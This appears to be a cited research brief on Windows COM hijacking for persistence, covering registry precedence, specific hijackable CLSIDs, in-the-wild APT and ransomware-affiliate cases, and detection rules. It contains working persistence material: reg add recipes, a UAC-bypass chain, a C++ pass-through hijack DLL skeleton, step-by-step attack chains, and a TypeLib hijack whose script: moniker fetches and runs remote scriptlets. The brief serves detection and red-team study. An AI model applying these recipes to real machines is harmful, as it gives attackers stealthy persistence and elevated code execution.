Files
2026-07-18 21:50:11 +05:30

326 lines
35 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# RESEARCH BRIEF — COM for PERSISTENCE (MITRE ATT&CK T1546.015)
All claims verified against primary sources (MITRE, bohops, enigma0x3, MDSec, SpecterOps, ReliaQuest, Talos, ESET, FireEye/Mandiant, CrowdStrike, SigmaHQ, Elastic, Red Canary Atomic, NCC Group, leoloobeek, nickvourd, 3gstudent, pentestlab).
---
## 1. COM Hijacking Fundamentals
### 1.1 The HKCR merge — why a standard user can hijack anything
- `HKEY_CLASSES_ROOT` is **not a real hive** — it is a merged view built at query time from `HKLM\SOFTWARE\Classes` (machine-wide) and `HKCU\SOFTWARE\Classes` (per-user).
- **Per-user entries take precedence.** If the same subkey/value exists in both, the HKCU value wins (Microsoft: "Merged View of HKEY_CLASSES_ROOT"). A non-admin user has full write access to HKCU, so any COM class registered in HKLM can be shadowed per-user with zero privileges.
- COM resolution path for `CoCreateInstance(CLSID, ...)` (in-proc case): 1) `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` (or `LocalServer32`, `InprocHandler32`, `TreatAs`) — checked first; 2) `HKCR\CLSID\...` (merged view → effectively HKLM); 3) `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\` (legacy shell fallback).
- 32-bit processes on 64-bit Windows additionally use the WoW64 reflection path: `HKCU\Software\Classes\Wow6432Node\CLSID\...` (critical for Office hijacks).
- Key values under InprocServer32: `(Default)` = DLL path (REG_SZ/REG_EXPAND_SZ), `ThreadingModel` = `Apartment` (STA) | `Free` (MTA) | `Both` | `Neutral`, and shell-only `LoadWithoutCOM` (honored by shell32 `SHCoCreateInstance` — load DLL by path with no full COM checks; abused in eventvwr UAC bypass).
### 1.2 Phantom / orphaned / abandoned COM objects
1. **Orphaned registrations (registered CLSID, missing binary):** CLSID exists but the InprocServer32/LocalServer32 target file does not — leftovers from uninstalled software (bohops' example: VMware Workstation's leftover `vmnetbridge.dll` at CLSID `{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}`). If the directory path is attacker-writable, dropping a payload at the expected path hijacks the object **without touching the registry**. If the registry path is writable (HKCU shadow), you don't even need the file path.
2. **Undefined-but-referenced classes (dangling references):** programs call `CoCreateInstance` on CLSIDs not registered anywhere (NAME NOT FOUND in ProcMon). Registering that CLSID in HKCU creates a new "phantom" object the program then loads. Advantages: **no legitimate value overwritten, no functionality breaks, nothing to diff** (CrowdStrike ClickOnce research 2025; pentestlab/SpecterOps methodology).
### 1.3 Why it survives reboots and is low-noise
- Persistence lives entirely in the **registry** (HKCU hive = `NTUSER.DAT` / `UsrClass.dat`), re-read at every logon; no autostart entry, no service, no scheduled task modification.
- The trigger is **normal system activity**: a legitimate Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, outlook.exe, browsers) does the `LoadLibrary` of your DLL. Execution inherits host integrity and reputation; no new suspicious process.
- **Autoruns gap:** Sysinternals Autoruns enumerates only specific COM categories; it does **not** diff the full `HKCU\Software\Classes\CLSID` tree against HKLM → classic per-user CLSID shadow invisible in default views. Even when a Run-key launcher is used (`rundll32.exe -sta {CLSID}` or `mmc.exe -Embedding payload.msc`), the visible autorun points to a signed Microsoft binary while the payload path hides in the Classes hive (bohops Part 2).
- MITRE T1546.015: tactic = Persistence + Privilege Escalation.
### 1.4 InprocServer32 vs LocalServer32
- `InprocServer32` → DLL loaded into caller via `LoadLibrary`; `ole32/combase` calls exported `DllGetClassObject` (most common persistence).
- `LocalServer32` → EXE (or command line!) launched as a new process by DCOM Server Process Launcher (`svchost.exe -k DcomLaunch`) with `-Embedding`. LocalServer32 values may include **arguments** — CrowdStrike demonstrated fileless persistence with `cmd.exe`/`powershell.exe` + script args in LocalServer32. Detection: properly instantiated COM servers spawn from svchost.exe; any other parent for an `-Embedding` command line is suspicious.
---
## 2. Documented Hijackable CLSIDs & In-The-Wild Cases
### 2.1 `{0A29FF9E-7F9C-4437-8B11-F424491E3931}` — Event Viewer MMC snap-in class — persistence + UAC crossover
- Loaded by `eventvwr.exe` (auto-elevated) and `mmc.exe eventvwr.msc`; HKCU shadow path free.
- Hijack recipe:
```
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f
```
(`0xf090013d` = SFGAO attribute combination required for the shell to accept the object.)
- Documented by: hfiref0x/UACME, Metasploit `exploit/windows/local/bypassuac_comhijack`, 3gstudent (lists it among HKCU CLSID hijacks of elevated programs alongside `{B29D466A-857D-35BA-8712-A758861BFEA1}`, `{D5AB5662-131D-453D-88C8-9BBA87502ADE}`, `{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}`).
- Related but distinct: enigma0x3's eventvwr "fileless" UAC bypass pivots on `HKCU\Software\Classes\mscfile\shell\open\command` (file association, not CLSID). PoC: `Invoke-EventVwrBypass.ps1`.
- Note: user-triggered (someone must open Event Viewer); its value is the persistence→privesc chain (payload loads high-IL because eventvwr auto-elevates).
### 2.2 `{BCDE0395-E52F-467C-8E3D-C4579291692E}` — MMDeviceEnumerator (audio endpoint enumerator, mmdevapi.dll)
- Instantiated by **explorer.exe** at every logon and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP).
- **ITW — APT28/Sednit:** Seduploader persisted via `HKCU\Environment\UserInitMprLogonScript` and COM hijack of MMDeviceEnumerator; payload executed "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" (Cisco Talos). MITRE APT28 (G0007) cites it; JHUHUGIT also hijacked MMDeviceEnumerator + registered as Shell Icon Overlay handler (FireEye/Mandiant).
- Chinese research blogs 2019 PoC: drop DLL as `%APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dl`, HKCU CLSID + ThreadingModel=Apartment, trigger with iexplore.exe.
- sbousseaden/EVTX-ATTACK-SAMPLES has `persist_firefox_comhijack_sysmon_11_13_7_1.evtx` (Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox).
### 2.3 `{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}` — CAccPropServicesClass (MSAA "AccPropServices", oleacc.dll)
- MS Active Accessibility property server; instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported.
- Documented by bohops research; **Atomic Red Team T1546.015 Test #1** uses exactly this CLSID with `rundll32.exe -sta {B5F8350B-...}` as invoker.
### 2.4 `{42AEDC87-2188-41FD-B9A3-0C966FEABEC1}` — MruPidlList (shell32)
- Loaded by **explorer.exe at every shell start** and throughout the session. The classic most-abused persistence CLSID.
- **ITW:** **ComRAT/Turla** (replaces path to shell32.dll in `{42aedc87-...}\InprocServer32` — MITRE S0126); **BBSRAT** (MruPidlList one arch, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}` "Microsoft WBEM New Event Subsystem" other — Palo Alto); **PcShare** (HKCU `{42aedc87-...}` — MITRE); SILENTTRINITY references it.
- Earliest vendor doc: **G-Data, "COM Object hijacking: the discreet way of persistence," Oct 2014** (MITRE's citation). First-ever public discussion of per-user COM abuse: Jon Larimer, 2011 (per leoloobeek).
### 2.5 Scheduled-task COM handler CLSIDs (taskhostw.exe / Schedule service)
Scheduled tasks with `<ComHandler><ClassId>{...}</ClassId>` actions instantiate the CLSID in the task host when fired. Hijack = shadow that CLSID in HKCU.
- `{0358B920-0AC7-461F-98F4-58E32CD89148}` — **WinINet CacheTask** (`C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask`), InprocServer32 = `%systemroot%\system32\wininet.dll`, ThreadingModel=Both, trigger = **logon of any user**. Walkthrough: **MDSec, Dominic Chell, "Persistence Part 2 COM Hijacking" (May 2019)** — HKLM key TrustedInstaller-owned; HKCU shadow with `c:\tools\demo.dll` executes at logon.
- `{A6BA00FE-40E8-477C-B713-C64A14F18ADB}` — **WindowsUpdate\Automatic App Update** task (ComHandler), documented by **enigma0x3, "Userland Persistence with Scheduled Tasks and COM Handler Hijacking" (May 2016)**. Enumerator: `Get-ScheduledTaskComHandler.ps1`.
- `{2DEA658F-54C1-4227-AF9B-260AB5FC3543}` — ITW: attacker registered own payload CLSID, added `TreatAs` under this legitimate CLSID loaded by an existing scheduled task at user logon → payload every logon (FireEye/Mandiant UNC2529).
- Generic PowerShell hunter:
```powershell
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks) {
if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
}
}
```
- `{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}` — training example (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed.
- "TeaTimer" has NO documented COM persistence linkage (negative result — likely conflation with scheduled-task COM handler hijacking or Spybot's registry monitor).
### 2.6 TreatAs redirection (CLSID→CLSID linking)
- Semantics: `HKCR\CLSID\{A}\TreatAs` (default = `{B}`) tells COM class `{B}` "can emulate" `{A}`; `CoCreateInstance({A})` resolves `{B}`. APIs: `CoGetTreatAsClass()`, `CoTreatAsClass()`; related: `AutoTreatAs`, `Emulated` subkey. Because TreatAs is a *key*, attackers add it in HKCU without touching `{A}`'s InprocServer32 — **evades detections that only watch InprocServer32 writes**.
- Documented example (enigma0x3 + subTee "Windows Operating System Archaeology", via bohops Part 2): `{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC}` → scrobj.dll ScriptletURL payload. Hexacorn "Beyond good ol' Run key, Part 84".
- **ITW — Turla Outlook backdoor (ESET, Aug 2018):** `HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}`; `{49CBB1C7-...}` ("Mail Plugin") → InprocServer32 = backdoor DLL, ThreadingModel=Apartment → backdoor loads inside OUTLOOK.EXE at every launch. Automated by 3gstudent `Invoke-OutlookPersistence.ps1` (handles Wow6432Node for 32-bit Office).
### 2.7 TypeLib hijacking (oleaut32 automation marshaling) — REQUIRED
- Mechanics: Type libraries resolve from `HKCR\TypeLib\{LIBID}\<version>\0\win32|win64` (default = path to .tlb/.dll/.olb). Any Automation/`IDispatch` client (VBA, VBScript/JScript `GetObject`/`CreateObject`, .NET RCWs, Explorer.exe, OLE embedding) causes oleaut32 `LoadTypeLib()` of that path. **Shadowing win32/win64 in `HKCU\Software\Classes\TypeLib\{LIBID}\...` redirects the load — per-user, no admin.**
- Killer detail: the value accepts a **moniker string**. Setting it to `script:<path-or-URL>` runs a Windows Script Component (.sct) via scrobj.dll — including **remote** `script:https://...` scriptlet → fileless payload re-downloaded at every trigger.
- **ITW — ReliaQuest (March 2025 incidents, published April 2025; Black Basta / Storm-1811-affiliated operators):**
```
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
```
`{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` = SHDocVw (Microsoft Web Browser control / IE) library. ReliaQuest observed **Explorer.exe references this object every time it runs** → payload auto-downloaded at every restart. MITRE updated T1546.015 in 2025 to add the TypeLib/"script:"-moniker variation, citing ReliaQuest.
- HackTricks discovery recipe: read LIBID from `HKCR\CLSID\{CLSID}\TypeLib`, read version from `HKCR\TypeLib\{LIBID}`, then create `HKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32` = `script:C:\...\evil.sct` (JScript `<scriptlet>` that re-arms the main chain).
- Detection: any `TypeLib\...\0\win32|win64` value containing `script:`, `http:`, `https:` is "almost certainly malicious"; watch scrobj.dll loading into non-scripting processes; hunt `reg.exe` cmdlines containing `TypeLib` + `script`.
### 2.8 ProgID hijacking
- ProgIDs (`HKCR\<ProgID>\CLSID` → `{CLSID}`) shadowable in HKCU: create `HKCU\Software\Classes\<ProgID>\CLSID = {evil CLSID}`; any client instantiating by name resolves your class. Canonical demo: Casey Smith's squiblydoo — HKCU `Scripting.Dictionary` → `{00000001-0000-0000-0000-0000FEEDACDC}` → InprocServer32 = `C:\WINDOWS\system32\scrobj.dll` + `ScriptletURL` = remote .sct. Stability caveat: WinRM/slmgr.vbs break with VBScript runtime errors.
### 2.9 ClickOnce "undefined COM object" variant (CrowdStrike, 2025)
- During ClickOnce deployment, `rundll32.exe` calls `CoCreateInstance()` with a hardcoded CLSID not registered (dfsvc.exe normally registers it later via `CoRegisterClassObject`). Pre-registering that CLSID in HKCU with a LocalServer32 makes the DCOM-launcher svchost start the attacker's binary at next deployment — fileless capable (LocalServer32 can carry cmd.exe/script args), legitimate process tree, overwrites nothing. Limitations: only fires while dfsvc.exe not already running; adds 3050s deploy delay. (CrowdStrike, "New Abuse of the ClickOnce Technology: Part 2.")
### 2.10 Auto-start host processes & other documented targets
- **explorer.exe:** MruPidlList `{42aedc87-...}`, MMDeviceEnumerator `{BCDE0395-...}`, TypeLib `{EAB22AC0-...}`, plus shell extension classes from NCC acCOMplice masterkeys.csv (e.g., `{69486DD6-C19F-42E8-B508-A53F9F8E67B8}`, `{9E175B6D-F52A-11D8-B9A5-505054503030}`, `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}`).
- **Browsers/WebView2 (Chrome, Edge, Teams, OneDrive, M365):** SpecterOps "Revisiting COM Hijacking" (May 2025): `msedgewebview2.exe`, `msedge.exe`, `explorer.exe`, `chrome.exe` all query HKCU for `{54E211B6-3650-4F75-8334-FA359598E1C5}` (InprocServer32 = `%SystemRoot%\system32\directmanipulation.dll`, ThreadingModel=Both) and `{9FCBE510-A27C-4B3B-B9A5-BF65F00256A8}` — hijack yields execution inside browser processes with export-forwarding stubs (FaceDancer / Koppeling).
- **taskhostw.exe / Schedule service:** any user-context ComHandler task (§2.5).
- **Office/Outlook:** Turla TreatAs chain (§2.6); 3gstudent Invoke-OutlookPersistence.
- **Other ITW mapped to T1546.015:** Mosquito (Turla), Ferocious (WIRTE), ADVSTORESHELL (Shell Icon Overlay handler), KONNI (modified ComSysApp service), WarzoneRAT (`HKCU\Software\Classes\Folder\shell\open\command` + DelegateExecute), AUTHENTIC ANTICS (NCSC MAR: COM hijack inside Outlook), SILENTTRINITY.
- Watchlist CLSIDs (startupdefense): `{42aedc87-2188-41fd-b9a3-0c966feabec1}`, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}`, `{E6D34FFC-AD32-4d6a-934C-D387FA873A19}`, `{3543619C-D563-43f7-95EA-4DA7E1CC396A}`.
### 2.11 Discovery tooling
| Tool | What it does | Where |
|---|---|---|
| **acCOMplice / COMHijackToolkit** (David Tulis, NCC Group; DerbyCon 9) | `Extract-HijackableKeysFromProcmonCSV`, `Find-MissingLibraries`, `Hijack-CLSID`, `Hijack-MultipleKeys` (frequency testing), COMinject PoC, procmon filters, masterkeys.csv | github.com/nccgroup/Accomplice |
| **COM-Hunter** (@nickvourd + @S1ckB0y1337; .NET + BOF v3.0) | Modes: `search` (HKLM/HKCU), `persist`, `tasksch`, `treatas`, `remove` | github.com/nickvourd/COM-Hunter |
| **Get-ScheduledTaskComHandler.ps1** (enigma0x3) | Enumerates scheduled tasks with ComHandler actions | github.com/enigma0x3/Misc-PowerShell-Stuff |
| **COMProxy** (leoloobeek) | Pass-through hijack DLL PoC | github.com/leoloobeek/COMProxy |
| **oleviewdotnet** (James Forshaw) | COM enumeration/analysis; "COM in 60 Seconds" talk | github.com/tyranid/oleviewdotnet |
| bohops' WMI one-liners | `gwmi Win32_COMSetting` + `cmd /c dir` existence check (finds orphans like mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on 2008/2012) | bohops.com Part 1 |
| FaceDancer / Koppeling / SharpDllProxy | Export-forwarding stub generators | github.com/Flangvik/SharpDllProxy etc. |
---
## 3. Trade-craft: The Pass-Through (Proxy) Hijack DLL
Concept (leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019): the hijack DLL exports `DllGetClassObject`/`DllCanUnloadNow`, **loads the original server from its HKLM path, and forwards the call**, so the client receives the interface pointers it expects and nothing breaks.
```cpp
// hijack.cpp — pass-through COM hijack server (skeleton)
#include <windows.h>
typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void);
static HMODULE g_hOrig = NULL;
static volatile LONG g_lPayloadDone = 0;
static BOOL PayloadAlreadyRan() { // mutex trick (SpecterOps)
HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899");
if (h == NULL) return TRUE;
return (GetLastError() == ERROR_ALREADY_EXISTS);
}
static BOOL IsDesiredHost() { // optional process gating
wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH);
wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p;
return (_wcsicmp(b, L"explorer.exe") == 0);
}
static DWORD WINAPI PayloadThread(LPVOID) {
if (IsDesiredHost() && !PayloadAlreadyRan()) {
STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi;
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe",
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
InterlockedExchange(&g_lPayloadDone, 1);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hMod);
wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll";
g_hOrig = LoadLibraryW(orig); // or read HKLM path via RegGetValue
QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0);
} else if (reason == DLL_PROCESS_DETACH) {
if (g_hOrig) FreeLibrary(g_hOrig);
}
return TRUE;
}
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE;
_DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject");
if (!p) return E_UNEXPECTED;
return p(rclsid, riid, ppv); // client gets REAL interface
}
STDAPI DllCanUnloadNow(void) { // leoloobeek "hold the door" trick
while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1);
_DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL;
return p ? p() : S_OK;
}
```
Exports (`.def`): `DllGetClassObject`, `DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32-compat).
Complementary tradecraft:
- **Export forwarding for non-COM exports** (SpecterOps 2025): `#pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3")` — generate with FaceDancer (`recon -I target.dll -G`) or Koppeling; SharpDllProxy automates.
- **ThreadingModel must match the HKLM original.** Mismatch: COM inserts proxy/stub marshaling between apartments (slow; can deadlock UI threads / `RPC_E_CANTTRANSMIT`); STA-expecting client may crash; worst case host crashes at load → detection. `Both` is safest when unsure.
- **DllMain constraints:** never block, never re-entrant CoCreateInstance, minimal loader-lock work — spawn a thread. Mutex/event gate against repeated instantiation.
- **.NET COMVisible assemblies as payloads:** register managed class with `regasm` — InprocServer32 = `C:\Windows\System32\mscoree.dll` with `Class`, `Assembly`, `RuntimeVersion`, optionally `CodeBase`; CLR loads your assembly. Pure managed payload, signed host DLL.
- **Reg-free COM:** activation-context manifests (`CreateActCtx`/`ActivateActCtx`, app-local manifests, Isolated COM) resolve classes from manifest files instead of registry — keeps persistence off the CLSID hive or weaponizes a planted manifest next to a side-loadable binary.
- **ScriptletURL / scrobj.dll registration:** InprocServer32 = `scrobj.dll` (signed) + `ScriptletURL` value = local/remote .sct → fileless-ish, default AppLocker bypass (squiblydoo, subTee). ScriptletURL keys are rare legitimately — detection gold.
---
## 4. Attack Chains (step-by-step)
### Chain A — Per-user persistence via scheduled-task COM handler (MDSec/enigma0x3)
1. Enumerate: `Get-ScheduledTaskComHandler.ps1` or PowerShell snippet (§2.5) → user-context tasks with ComHandler + LogonTrigger.
2. Pick `{0358B920-0AC7-461F-98F4-58E32CD89148}` (CacheTask, wininet.dll, logon trigger).
3. Confirm HKLM registration + `ThreadingModel=Both`; confirm no HKCU shadow.
4. `New-Item HKCU:\Software\Classes\CLSID\{0358B920-...}\InprocServer32` → `(Default) = C:\Users\<u>\AppData\Roaming\...\stub.dll`; `ThreadingModel = Both`.
5. Drop pass-through stub DLL (forwards to `C:\Windows\System32\wininet.dll`).
6. Next logon: Task Scheduler fires CacheTask → taskhost resolves CLSID → HKCU wins → stub loads inside task host, payload thread runs, proxies everything to wininet.dll. No autostart entries, no broken task.
### Chain B — explorer-triggered audio enumerator (APT28)
1. Stage DLL: `%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\update.dll`.
2. `HKCU\Software\Classes\CLSID\{BCDE0395-...}\InprocServer32` = staged path; `ThreadingModel = Apartment`.
3. Every logon (and every audio-API use): explorer.exe instantiates MMDeviceEnumerator → attacker DLL executes in explorer context.
### Chain C — Fileless TypeLib hijack with remote scriptlet (ReliaQuest/Black Basta affiliate)
1. Identify high-frequency Automation library: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (SHDocVw; Explorer.exe touches constantly), version `1.1`.
2. `reg add "HKCU\Software\Classes\TypeLib\{EAB22AC0-...}\1.1\0\win64" /t REG_SZ /d "script:https://<cdn>/payload.sct" /f` (or local `script:C:\ProgramData\update.sct`).
3. On next Explorer start / WebBrowser-control use, oleaut32 resolves the TypeLib → `script:` moniker runs SCT via scrobj.dll → payload re-fetched each time.
### Chain D — TreatAs redirect (Turla)
1. Register attacker class: `HKCU\Software\Classes\CLSID\{49CBB1C7-...}\InprocServer32` = backdoor.dll (+ThreadingModel=Apartment, ProgID "Mail Plugin").
2. Link legit class: `HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs` = `{49CBB1C7-...}`.
3. OUTLOOK.EXE instantiates → resolves attacker class. Legit CLSID's InprocServer32 never modified → evades naive detections (but see Sigma TreatAs rules).
---
## 5. Detection & Hunting
### 5.1 Registry telemetry
- Sysmon EID 12 (key create/delete), EID 13 (value set), EID 14 (rename). Target paths:
- `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` (InprocServer32, LocalServer32, TreatAs, ScriptletURL, ProgID)
- `HKU\<SID>_Classes\TypeLib\*\0\win32|win64` (TypeLib hijack)
- `HKU\<SID>\Software\Classes\mscfile\shell\open\command`, `*\Folder\shell\open\command` (DelegateExecute)
- High-signal heuristics:
- InprocServer32 (Default) pointing outside `%SystemRoot%\System32`/`Program Files` → user-writable paths.
- HKCU CLSID shadowing HKLM CLSID with a *different* server path (baseline diff).
- Registered server path whose file does not exist (phantom/orphan).
- `TreatAs` written by non-svchost/non-Office; any `ScriptletURL` key creation.
- TypeLib values containing `script:`/`http(s):`; scrobj.dll image loads in non-script hosts.
- Process/cmdline indicators: `rundll32.exe -sta {CLSID}` (evasion: `-stagggg` suffixes still work), `verclsid.exe /S /C {CLSID}` (NickTyrer gist; seen in phishing), `xwizard.exe RunWizard /taero /u {CLSID}` (harr0ey), `mmc.exe -Embedding <file.msc>` (parent not svchost = suspicious), `reg.exe` with `TypeLib` + `script`.
### 5.2 Named rules
- SigmaHQ: `registry_set_persistence_com_key_linking.yml` (TreatAs subkey; cites bohops Part 2); `registry_set_treatas_persistence.yml`; `registry_set_persistence_search_order.yml`; `registry_set_persistence_com_hijacking_susp_locations.yml`; `registry_set_persistence_com_hijacking_builtin.yml`; detection.fyi also: "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking".
- Elastic prebuilt: `persistence_suspicious_com_hijack_registry.toml` (HKCU vs HKLM shadow diff).
- Splunk: "Eventvwr UAC Bypass" (mscfile HKCU write) + COM hijack analytics.
- VirusTotal LiveHunt YARA keyed on Sigma behaviour rule for CLSID COM hijacking (VT blog, Mar 2024).
- Atomic Red Team T1546.015 tests #1#4.
### 5.3 Autoruns & blind spots
- Autoruns does not comprehensively enumerate HKCU CLSID shadows; hijacks launching via signed invokers hide behind Microsoft-signed entries. Registry-only persistence invisible until full hive diff. Recommend: periodic `reg export` of `HKCU\Software\Classes\CLSID` + `...\TypeLib` + `UsrClass.dat` diffed against gold image; cross-check Sysmon EID 7 loaded modules of explorer/svchost/taskhostw for DLLs outside System32.
---
## 6. Research Methodology — Finding NEW Hijackable CLSIDs
1. **Static orphan/phantom sweep:** bohops method: `$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }; $paths = $inproc | %{$_.InprocServer32}; foreach ($p in $paths){$p; cmd /c dir $p > $null}` — "File Not Found" = orphan (repeat for LocalServer32; normalize args/env vars). acCOMplice `Find-MissingLibraries` automates; `Extract-HijackableKeysFromProcmonCSV` post-processes ProcMon captures.
2. **Dynamic dangling-reference discovery:** ProcMon filters: `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32` (+ optionally process-name filter for target apps: msedgewebview2.exe, OUTLOOK.EXE, Teams.exe). Run during logon/app launches. Each hit = a CLSID a live process tries to activate that you can register in HKCU.
3. **Task-driven discovery:** `Get-ScheduledTaskComHandler.ps1` / ComHandler snippet → logon/idle-triggered user tasks = scheduled triggers.
4. **Frequency scoring:** ProcMon boot/session traces → count RegOpenKey hits per CLSID per process per hour; or ETW (Microsoft-Windows-COMRuntime / registry ETW); NCC acCOMplice `Hijack-MultipleKeys` = hijack several candidates with a logging DLL and count activations. Score = trigger frequency × host desirability (explorer/browsers/taskhostw > niche) × breakage risk.
5. **Stability validation harness:** implement pass-through DLL; unit-test with a COM client (leoloobeek ships TestCOMClient/TestCOMServer); soak-test real host (repeated launch/close, watch WerFault, UI hangs, proxy-marshal stalls); verify ThreadingModel matches HKLM; gate payload with mutex + host check; verify 32/64-bit hive placement; test DllCanUnloadNow so payload finishes before unload.
6. **Opsec review:** does it break anything user-visible (squiblydoo broke slmgr.vbs/WinRM)? Is payload path plausible? Would the CLSID survive a Windows update (favor third-party/abandoned/undefined classes — CrowdStrike's point)?
---
## 7. Diagrams to Draw
1. HKCR merge & precedence: HKCU on top of HKLM funnel into merged HKCR; red HKCU shadow eclipsing HKLM original; "no admin required — merge at query time".
2. Classic hijack flow: Client (explorer.exe) → CoCreateInstance → combase registry lookup → HKCU InprocServer32 = evil.dll → LoadLibrary → DllGetClassObject → payload thread; greyed original HKLM path.
3. Phantom object: (a) orphan: CLSID → dotted line to missing file → attacker drops DLL at expected path; (b) undefined-but-referenced: NAME NOT FOUND → attacker creates CLSID → next query succeeds.
4. TreatAs redirect: Client → CoCreateInstance({A}) → HKCU TreatAs = {B} → {B} InprocServer32 → attacker DLL; "InprocServer32 of {A} never modified".
5. TypeLib hijack: Client → oleaut32 LoadTypeLib → HKCU TypeLib\{LIBID}\1.1\0\win64 = script:https://... → scrobj.dll → remote .sct fetched & executed; "ReliaQuest 2025 — Black Basta affiliate".
6. Pass-through stability: client ←(real interfaces)← attacker DLL → LoadLibrary(original) → original DllGetClassObject; payload thread to the side.
---
## REFERENCES
**Frameworks / canonical**
- MITRE ATT&CK T1546.015 Component Object Model Hijacking — https://attack.mitre.org/techniques/T1546/015/
- MITRE APT28 (G0007) — https://attack.mitre.org/groups/G0007/
- MITRE ComRAT (S0126) — https://attack.mitre.org/software/S0126/
- Microsoft: Merged View of HKEY_CLASSES_ROOT — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root
- Microsoft: TreatAs key — https://learn.microsoft.com/en-us/windows/win32/com/treatas · Registration-Free COM — https://learn.microsoft.com/en-us/dotnet/framework/deployment/registration-free-com-interop
**Seminal offensive research**
- G-Data: COM Object hijacking — the discreet way of persistence (Oct 2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
- bohops: Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
- bohops: Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
- enigma0x3: Userland Persistence with Scheduled Tasks and COM Handler Hijacking — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/ · https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1
